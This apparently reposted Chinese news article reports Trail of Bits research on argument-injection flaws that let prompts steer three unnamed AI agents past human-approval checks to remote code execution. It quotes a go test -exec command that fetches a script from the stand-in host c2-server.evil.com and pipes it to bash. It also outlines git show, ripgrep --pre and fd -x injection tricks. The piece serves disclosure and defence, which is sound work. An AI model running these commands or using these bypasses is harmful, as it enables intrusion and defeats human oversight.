首页
学习
活动
专区
圈层
工具
发布

主流AI Agent存在关键参数注入漏洞,攻击者可实现远程代码执行

三家未公开名称的热门AI Agent平台存在关键参数注入漏洞,攻击者可通过看似无害的提示绕过人工审批防护机制,实现远程代码执行(RCE)。Trail of Bits指出,这些漏洞利用了为提升文件搜索和代码分析等任务效率而预先批准的系统命令,暴露出智能体AI系统中普遍存在的设计缺陷。

漏洞成因分析

AI Agent依赖find、grep、git和go test等原生工具处理文件系统操作和版本控制,无需重复开发功能,在性能、可靠性和开发速度方面具有优势。然而当用户输入影响参数时,这些预先批准的命令会形成攻击面,导致CWE-88定义的参数注入问题。

系统通常会对命令进行允许列表验证,但忽略参数标志。由于工具的参数空间庞大,全面拦截并不现实。例如一个简化的Go函数会检查"grep"等命令是否安全,但未经检查就直接追加用户提供的参数,从而留下可利用空间。

这种反模式长期存在,因为选择性过滤需要掌握命令选项的详尽知识,而AI的动态特性更放大了这一挑战。

攻击实例剖析

在某CLI驱动的Agent中,攻击者构造提示运行"go test -exec 'bash -c "curl c2-server.evil.com?unittest= | bash; echo success""'",利用-exec标志引入未经授权的curl和bash命令,最终在未经批准的情况下实现RCE。

另一个案例中,攻击者通过十六进制编码的payload使用git show绕过正则表达式过滤器创建文件,随后利用ripgrep的--pre标志执行该文件。Trail of Bits表示,整个过程都是通过引导模型使用工具的JSON格式提示完成的。

攻击模式与防御建议

在第三个系统中,攻击者利用外观模式漏洞向fd命令追加"-x=python3"等恶意标志,通过预先创建的Python payload执行os.system实现任意操作。这些可嵌入代码注释或仓库的一次性攻击,借鉴了GTFOBins和LOLBAS项目中记录的"离地生存"技术。

研究人员建议将沙箱作为主要防御手段,使用容器、WebAssembly或macOS的Seatbelt等OS级隔离方案限制Agent访问。针对外观模式漏洞,应在用户输入前插入"--"等参数分隔符,并通过subprocess.run(shell=False)等方法禁用shell执行。

若无沙箱保护,即使安全的命令允许列表仍存在缺陷。开发者应实施日志记录、精简允许列表,并对可疑链重新引入人工审核环节;用户必须限制访问权限并对不可信输入使用容器。安全工程师可通过提示或文档映射工具、模糊测试标志,并与漏洞数据库比对。随着智能体AI的普及,这些协调披露标志着安全优先理念正在形成。

  • 发表于:
  • 原文链接https://page.om.qq.com/page/Os5y0LGK1iqvbywbAhNRnIiQ0
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。
领券